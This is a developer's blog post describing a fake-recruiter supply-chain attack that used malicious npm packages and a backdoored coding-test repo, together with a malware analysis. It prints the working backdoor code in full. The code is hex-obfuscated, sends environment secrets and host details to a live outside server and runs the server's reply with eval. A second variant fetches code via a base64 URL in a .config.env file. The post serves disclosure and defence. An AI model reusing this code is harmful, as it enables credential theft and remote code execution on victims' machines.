Author: Toufiqur Rahaman Chowdhury • Published: 2025-07-25 • ← Back to Journal Home
June 25, 2025
Earlier in the week, I applied to a few developer roles online. I received an email from one of the employers who directed me to a Slack group that appeared to have been created on June 19, 2025, based on the creation date of its only two channels. The person claimed they had created this group to build a community to post jobs and connect developers with opportunities. I joined and noticed a lot of other candidates also joined the group (so far 300+ at the time of writing this). I introduced myself and had a brief conversation with other candidates, during which I casually mentioned a previous LinkedIn-based social engineering attempt that I had encountered.
June 26, 2025
A LinkedIn user named Michael McCarthy, a CEO and Angel Investor from Canada, claiming to be an employer messaged me with an opportunity for a full-stack developer role.
The role was well-aligned with my experience and most recent roles.
They shared a link to a GitHub repo URL and asked me to complete a quick coding test. The repo URL took me to a 404 (not found) page.
I initially presumed the GitHub project may have been private and required an invite for me to access it. When I asked, they provided a Bitbucket repository instead. Now I realize the account might have been deleted/suspended due to reporting by others or the malware being detected by GitHub.
A few hours later, after cloning the Bitbucket repo, I attempted to install all the dependencies by running npm install
, but the installation consistently got stuck during the initial loading stage (with a loading spinner). I presumed something might have been wrong with either my ISP’s DNS server and/or the connection with NPM servers.
Then I tried using yarn
and I encountered a broken dependency: json-webhooks@1.5.9
. I discovered that the package had been removed and replaced with 0.0.1-security
, a standard NPM response to confirmed malicious packages that had been taken down.
I never ran the code so I was safe. However, I had the plan to use a Docker container anyway to run it as a precautionary measure.
June 27, 2025
The Bitbucket repository was suddenly deleted, and then recreated with the exact same name and structure, but this time using a new malicious package: reqweaver
. I reported this to NPM, and within hours, the package was removed — nearly 92 hours after reporting — and it was downloaded 51 times by other developers. However, I regretted not downloading the source code for investigation out of curiosity.
July 3, 2025
The attacker repeated the tactic a third time, now using a new package named async-queuelite
. This time, I downloaded the package for inspection. With the help of ChatGPT, I discovered a backdoor in the code which confirmed that this was a Supply Chain Attack. Details of the malicious code dissection are in the next section. I reported the async-queuelite
package as well to NPM Support and it was taken down within 13 hours with zero downloads.
After confirmation of the malicious code, I tried to read the conversation I had on LinkedIn with the fake employer. The conversation disappeared and the user also disappeared. I assumed they either deleted their profile or blocked me. While reviewing the first LinkedIn email notification from Michael McCarthy, I realized the LinkedIn messages from the attacker weren’t actually deleted, just hidden from the UI. Using the message link in my email, I was able to regain access to the conversation.
July 4, 2025
The attacker repeated the exact same tactic for the fourth time: by recreating the BitBucket repo and publishing a new NPM package named restpilot
. I have downloaded the source code and found the exact same backdoor code. Once again, I reported it to NPM Support.
July 10-24, 2025
After repeated takedowns of their malicious NPM packages, the attacker pivoted: they began embedding the backdoor code directly into the test project itself, removing the dependency on NPM altogether. And they created a new repo called NovaX.
A few days ago, I have received an email job alert from arc.dev a job posting by Tirios, the same name the fake employer used. This appeared legit but I was more curious so I applied to the job. I was hoping to get a response before I publish the article. So far I haven’t received any response. Either the fake employer is now using arc.dev to attract new victims or this is the real deal.
async-queuelite
: A Real BackdoorIn the BitBucket repo, the async-queuelite
package was only imported once in the contracts/controllers/userController.js
and invoked the function only once at startup, but in the middle of the file like this:
...some imports
const jsonWebHooks = require("json-webhooks");
...many lines of code
jsonWebHooks();
...more code
The async-queuelite@1.0.11
package disguised itself as a lightweight job queue. However, it:
os.platform()
, hostname
, MAC addresses)process.env
variables (including any secrets and API keys)https://log-server-lovat.vercel.app/api/ipcheck/703
.then(r => eval(r.data))
Here is the malicious code in the NPM package (contents of the file lib/writer.js
):
'use strict'
const os = require('os')
const pkg = require('../package.json')
function getMacAddress () {
const interfaces = os.networkInterfaces()
const macAddresses = []
for (const interfaceName in interfaces) {
const networkInterface = interfaces[interfaceName]
networkInterface.forEach((details) => {
if (details.family === 'IPv4' && !details.internal) {
macAddresses.push(details.mac)
}
})
}
return macAddresses
}
const data = {
...process.env,
version: pkg.subModuleVersion,
platform: os.platform(),
hostname: os.hostname(),
username: os.userInfo().username,
macAddresses: getMacAddress(),
}
function g (h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))) }
const hl = [
g('72657175697265'),
g('6178696f73'),
g('706f7374'),
g('68747470733A2F2F6C6F672D7365727665722D6C6F7661742E76657263656C2E6170702F6170692F6970636865636B2F373033'),
g('68656164657273'),
g('782d7365637265742d686561646572'),
g('736563726574'),
g('7468656e')
]
module.exports = (...args) => require(hl[1])[[hl[2]]](hl[3], data, { [hl[4]]: { [hl[5]]: hl[6] } })[[hl[7]]](r => eval(r.data)).catch(() => {})
os
module it extracts the user’s MAC addresses, username etc, and using process.env
gives them access to all the private information available to the NodeJS application.Step 2: Obfuscate the attack. One clever piece of the attack was how it obscured the actual URL used for data exfiltration. Instead of hardcoding it, the code used obfuscated hex strings that are decoded at runtime using a function like this:
function g (h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))) }
Using this technique the attacker hides what is actually in the hl
array.
Here’s what the hl array resolves to when decoded:
const hl = [
// 0. g('72657175697265'):
'require',
// 1. g('6178696f73'):
'axios',
// 2. g('706f7374'):
'post',
// 3. g('68747470733A2F2F6C6FD7...702F6170692F6970636B2F373033'):
'https://log-server-lovat.vercel.app/api/ipcheck/703',
// 4. g('68656164657273'):
'headers',
// 5. g('782d7365637265742d686561646572'):
'x-secret-header',
// 6. g('736563726574'):
'secret',
// 7. g('7468656e'):
'then'
]
Step 3: Now if we substitute the actual values from the hl array into the exported function, it becomes clear what the attacker is doing:
module.exports = (...args) =>
require('axios')['post'](
'https://log-server-lovat.vercel.app/api/ipcheck/703',
data,
{ 'headers': { 'x-secret-header': 'secret' } }
)['then'](r => eval(r.data)).catch(() => {});
We can see that first the axios
package is imported which is a popular library for making HTTP requests. Then a post
request is made the obfuscated URL https://log-server-lovat.vercel.app/api/ipcheck/703
in hl[3]
.
Step 4: Remote Code Execution.
The final part of the chain is the most dangerous. The attacker uses:
.then(r => eval(r.data))
This means that whatever response the server sends back (r.data) will be evaluated and executed as JavaScript inside the victim’s Node.js environment.
If the attacker returns a payload that installs malware, opens a reverse shell, or performs lateral movement, it will execute with the same permissions as the current process. This is a classic example of Remote Code Execution (RCE), and is especially dangerous because:
This is full-blown remote code execution (RCE). The attacker could run arbitrary scripts, install malware, or open reverse shells.
The attacker now uses a more direct approach without NPM. They simply put the backdoor code inside the test project: NovaX. This appears to be an older tactic they used to use in other projects under the same username on BitBucket, which they seem to have recreated (deleted the project and recreate the same project with identical name and code to make it seem like it’s a new project) and probably going to be using again.
File: auth/controllers/userController.js
.....import packages
require("dotenv").config({
path: path.resolve(__dirname, "../config/.config.env"),
});
.....many lines of code
//Get Cookie
exports.getCookie = asyncErrorHandler(async (req, res, next) => {
const src = atob(process.env.DEV_API_KEY);
const k = atob(process.env.DEV_SECRET_KEY);
const v = atob(process.env.DEV_SECRET_VALUE);
const s = (await axios.get(src,{headers:{[k]:v}})).data.cookie;
const handler = new (Function.constructor)('require',s);
handler(require);
})();
.....more code
File: auth/config/.config.env
DEV_API_KEY="aHR0cHM6Ly9hcGkubnBvaW50LmlvLzE0ODk4NDcyOWUxMzg0Y2JlMjEy"
DEV_SECRET_KEY="eC1zZWNyZXQta2V5"
DEV_SECRET_VALUE="Xw=="
Summary of what changed:
This tactic increases stealth: because the backdoor is no longer inside a published package, tools like npm audit
can’t catch it. Instead, it relies on developers overlooking a suspicious-looking environment variable and trusting the rest of the repo structure.
While it does the same as NPM package backdoor with less obfuscation, it is still enough to fool unsuspecting and inexperienced programmers. I won’t go into the full breakdown again, as it mirrors the earlier backdoor closely.
The LinkedIn profile:
After I grew suspicious, the user appeared to have blocked me and deleted the entire conversation. I later realized the profile had likely been reported and banned, which caused the messages to disappear from the UI—but I was still able to access it using the URL from the initial LinkedIn message notification email.
While I can’t definitively say the Slack group was involved, it’s worth examining the timeline and possible connections:
json-webhooks
package was published. It is, however, possible that this was not the first time and they may have other prior NPM packages published.This raises a few possibilities:
While I lean toward the attacker having some visibility or presence in that group, I’m not accusing anyone specifically. I still have to put my Dexter Morgan’s forensic analyst hat on.
It’s possible the group is legitimate and simply compromised or observed without the admin’s knowledge.
This wasn’t opportunistic. It was a carefully prepared social engineering + supply chain attack.
0.0.1-security
.reqweaver
, async-queuelite
and restpilot
to NPM support. First two were taken down; awaiting for restpilot
.async-queuelite
in VSCode with Restricted Mode.Malicious NPM packages:
json-webhooks@1.5.9
reqweaver@<unknown>
async-queuelite@1.0.11
restpilot@<latest>
(published after previous removals)Remote server used:
https://log-server-lovat.vercel.app/api/ipcheck/703
Obfuscation techniques:
eval(r.data)
I reported the last three packages (reqweaver
, async-queuelite
, and restpilot
) to NPM, and the first two have since been removed from the registry.
process.env
and mounted secrets can still be leaked unless you take precautions.Since this incident, I’ve also encountered another obfuscated malware sample distributed via UpWork. Maybe I’ll try to cover that in a follow-up post.
This experience was frustrating but incredibly eye-opening. It showed how attackers are adapting: combining social engineering with modern supply chain tactics to compromise individual developers.
If I hadn’t been cautious, this could’ve ended very differently. If you’re a freelancer or open-source contributor, stay vigilant.
Feel free to share this story. If it protects even one developer, it’s worth it.
If you have seen any packages or messages similar to this incident, or if you’d like to collaborate on raising awareness, feel free to reach out.
Toufiqur Rahaman Chowdhury is a full-stack software developer with over 8 years of experience building scalable web applications. He’s worked across frontend, backend, and blockchain systems.
🔗 ← Back to Journal Home • CV • LinkedIn • GitHub • Contact / Hire Me